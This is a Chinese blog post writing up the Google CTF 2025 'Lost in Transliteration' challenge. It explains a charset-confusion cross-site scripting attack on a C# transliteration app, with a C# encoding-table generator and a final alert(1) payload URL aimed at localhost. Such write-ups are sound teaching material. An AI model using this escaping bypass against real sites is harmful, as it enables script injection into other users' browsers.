avatar

le0n's blog

websec&pentest&ctf

  • 首页
  • 关于
  • 友链
主页 Googlectf2025-lost-in-transliteration-writeup
文章

Googlectf2025-lost-in-transliteration-writeup

发表于 2025-07-7 更新于 最近
作者 Administrator
25~32 分钟 阅读

题目分析

这是一个c#web,实现了一个希腊语到拉丁语的音译器,问题出在处理静态文件时(实际上是硬编码在变量中的)contentType可以被用户控制。

我们关注到script.js

当把它处理成html时,刚好能凑出一对<script>而其中的TEMPLATE_QUERY_JS可控

但是传入的参数q中的字符如果不是这三种则会被unicode编码,单引号等符号都会被编码

其实ContentType还可以控制字符集ct=text/html;charset=X-Chinese-CNS就能造成字符集混淆。其实就是csharp支持该编码,而chrome不支持,导致csharp按照X-Chinese-CNS编码OtherLetter中的字符后,chrome依然用默认方式解码,导致把多字节字符的字节拆开解析,逃逸出单引号。

要本地模拟的话就是把字符用X-Chinese-CNS编码,utf-8解码,但是一般语言对这个字符集的支持都很差。

获取编码表

这个编码表比较难获取,我们直接用docker中的环境来运行c#爆破获取

using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Globalization;

class EncodingTableGenerator
{
    static void Main()
    {
        // 注册代码页编码提供者,支持更多编码
        Encoding.RegisterProvider(CodePagesEncodingProvider.Instance);

        // 可配置参数
        string encodingName = "x-Chinese-CNS";  // 目标编码
        string outputFilePath = $"encoding_table_{encodingName}_OtherLetter_SuccessOnly.txt";

        try
        {
            // 获取目标编码,禁用替换回退(编码失败时抛出异常)
            Encoding targetEncoding = Encoding.GetEncoding(
                encodingName,
                new EncoderExceptionFallback(),
                new DecoderExceptionFallback()
            );

            Console.WriteLine($"正在生成 {encodingName} 编码的 Other Letter 成功编码映射表...");
            using (StreamWriter writer = new StreamWriter(outputFilePath, false, Encoding.UTF8))
            {
                writer.WriteLine($"Other Letter 成功编码映射表 - {encodingName}");
                writer.WriteLine($"生成时间: {DateTime.Now}");
                writer.WriteLine("========================================================");
                writer.WriteLine("Unicode码点\t字符\t字符名称\t编码字节(Hex)");
                writer.WriteLine("========================================================");

                int totalChars = 0;
                int successfullyEncodedChars = 0;

                // 遍历所有Unicode字符 (U+0000 到 U+10FFFF)
                for (int codePoint = 0; codePoint <= 0x10FFFF; codePoint++)
                {
                    // 跳过代理区 (U+D800 - U+DFFF)
                    if (codePoint >= 0xD800 && codePoint <= 0xDFFF)
                        continue;

                    // 检查是否为 Other Letter (Lo) 类别
                    char c = (char)codePoint;
                    if (CharUnicodeInfo.GetUnicodeCategory(c) != UnicodeCategory.OtherLetter)
                        continue;

                    totalChars++;

                    try
                    {
                        // 转换为Unicode字符
                        string unicodeChar = char.ConvertFromUtf32(codePoint);
                        string charName = GetUnicodeCharName(unicodeChar);

                        // 尝试编码
                        byte[] encodedBytes = targetEncoding.GetBytes(unicodeChar);
                        string hexBytes = BitConverter.ToString(encodedBytes).Replace("-", "");

                        writer.WriteLine($"U+{codePoint:X4}\t{unicodeChar}\t{charName}\t{hexBytes}");
                        successfullyEncodedChars++;

                        // 每成功编码100个字符显示进度
                        if (successfullyEncodedChars % 100 == 0)
                        {
                            Console.WriteLine($"已成功编码: {successfullyEncodedChars}");
                        }
                    }
                    catch (EncoderFallbackException)
                    {
                        // 静默跳过无法编码的字符
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine($"处理 U+{codePoint:X4} 时出错: {ex.Message}");
                    }
                }

                writer.WriteLine("========================================================");
                writer.WriteLine($"总计 Other Letter 字符数: {totalChars}");
                writer.WriteLine($"成功编码字符数: {successfullyEncodedChars} ({successfullyEncodedChars * 100.0 / totalChars:F2}%)");
            }

            Console.WriteLine($"编码映射表已生成至: {outputFilePath}");
        }
        catch (ArgumentException ex)
        {
            Console.WriteLine($"错误: 不支持的编码名称 '{encodingName}'。异常: {ex.Message}");
        }
        catch (Exception ex)
        {
            Console.WriteLine($"发生未知错误: {ex.Message}");
        }
    }

    // 获取Unicode字符名称
    static string GetUnicodeCharName(string unicodeChar)
    {
        try
        {
            if (string.IsNullOrEmpty(unicodeChar))
                return "空字符";
                
            if (unicodeChar.Length == 1)
                return Char.GetUnicodeCategory(unicodeChar[0]).ToString();
                
            // 代理对处理
            return "代理对字符";
        }
        catch
        {
            return "未知名称";
        }
    }
}

构造payload

逃逸单引号

先搜索27逃逸出引号

闭合右边引号

右半个引号由于没办法

然后变成了这样佘%0aalert(1)%0a氶

三元表达式处理tag?

然后是tag?在前面不处理会报错,使用三元表达式

找个冒号

U+761D	瘝	OtherLetter	D23A

多出来的字符用两个??( Null 合并运算符 )来处理

艹这个字符不会被两种编码处理,最后成为?

冒号右边需要塞一个东西,没有引号塞不了字符串,我们直接塞全局变量或者函数

模板字符串执行代码

我们没办法构造出括号,但是js的一个特性模板字符串给了我们机会

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Template_literals

而且它支持在``中使用unicode转义序列

但是模板字符串会被作为一个数组传入函数的第一个参数,所以这里只能用setTimeout执行代码(自动toString)

为此,我们先找出一个等于号,并且等于号前面的字符要作为合法变量名

U+56AD	嚭	OtherLetter	E53D

然后再找这个变量+`的字符,也就是E560

U+6AEB	櫫	OtherLetter	E560

为了方便(不用再定义变量)我们把刚才用来闭合右单引号的

也换成这个

模板字符串中为了注释掉0xE5使用了alert(1)//

最后的payload

发现不加var tag,第一句三元表达式tag未定义会报错

所以最后的pyload:

佘艹艹瘝window%0avar+tag%0avar+嚭setTimeout%0a櫫alert(1)//櫫%0a櫫

执行的js可以随意改

http://localhost:1337/file?filename=script.js&ct=text/html;charset=x-chinese-cns&q=%E4%BD%98%E8%89%B9%E8%89%B9%E7%98%9Dwindow%0avar+tag%0avar+%E5%9A%ADsetTimeout%0a%E6%AB%ABalert(1)//%E6%AB%AB%0a%E6%AB%AB

ctfwp
许可协议:  CC BY 4.0
分享

相关文章

下一篇

上一篇

Keras_load_model_rce分析(cve-2025-1550)

最近更新

  • Googlectf2025-lost-in-transliteration-writeup
  • Keras_load_model_rce分析(cve-2025-1550)
  • Vite任意文件读取漏洞(CVE-2025-30208,CVE-2025-31486,CVE-2025-32395)调试分析
  • 动态路由与静态资源目录的混淆
  • NCTF2024

热门标签

ctfwp pentest websec javasec

目录

©2026 le0n's blog. 保留部分权利。

使用 Halo 主题 Chirpy